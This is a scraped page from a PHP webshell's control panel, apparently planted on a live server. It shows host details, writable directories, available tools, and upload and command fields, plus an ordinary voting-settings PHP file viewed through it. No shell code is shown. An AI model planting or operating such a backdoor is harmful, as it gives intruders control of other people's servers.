403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/app/voting_helpers.php
<?php

function ensureVotingSettingColumns($conn)
{
    $columns = [];
    $result = mysqli_query($conn, "SHOW COLUMNS FROM `settings`");
    if (!$result) {
        return false;
    }

    while ($row = mysqli_fetch_assoc($result)) {
        $columns[$row['Field']] = true;
    }

    $neededColumns = [
        'voting_open' => "TINYINT(1) NOT NULL DEFAULT 1",
        'voting_close_at' => "DATETIME DEFAULT NULL",
        'allow_unscored_after_close' => "TINYINT(1) NOT NULL DEFAULT 0",
        'closed_override_password' => "VARCHAR(255) DEFAULT NULL",
    ];

    foreach ($neededColumns as $column => $definition) {
        if (!isset($columns[$column])) {
            if (!mysqli_query($conn, "ALTER TABLE `settings` ADD COLUMN `$column` $definition")) {
                return false;
            }
        }
    }

    return true;
}

function getVotingSettings($conn)
{
    ensureVotingSettingColumns($conn);
    $result = mysqli_query($conn, "SELECT * FROM `settings` WHERE id = 1");
    return $result ? mysqli_fetch_assoc($result) : [];
}

function isVotingClosed($settings)
{
    if (isset($settings['voting_open']) && (int) $settings['voting_open'] === 0) {
        return true;
    }

    if (!empty($settings['voting_close_at'])) {
        $closeTime = strtotime($settings['voting_close_at']);
        if ($closeTime !== false && time() >= $closeTime) {
            return true;
        }
    }

    return false;
}

function formatVotingCloseTime($settings)
{
    if (empty($settings['voting_close_at'])) {
        return '';
    }

    $closeTime = strtotime($settings['voting_close_at']);
    if ($closeTime === false) {
        return '';
    }

    return date('F j, Y g:i A', $closeTime);
}

Youez - 2016 - github.com/yon3zu
LinuXploit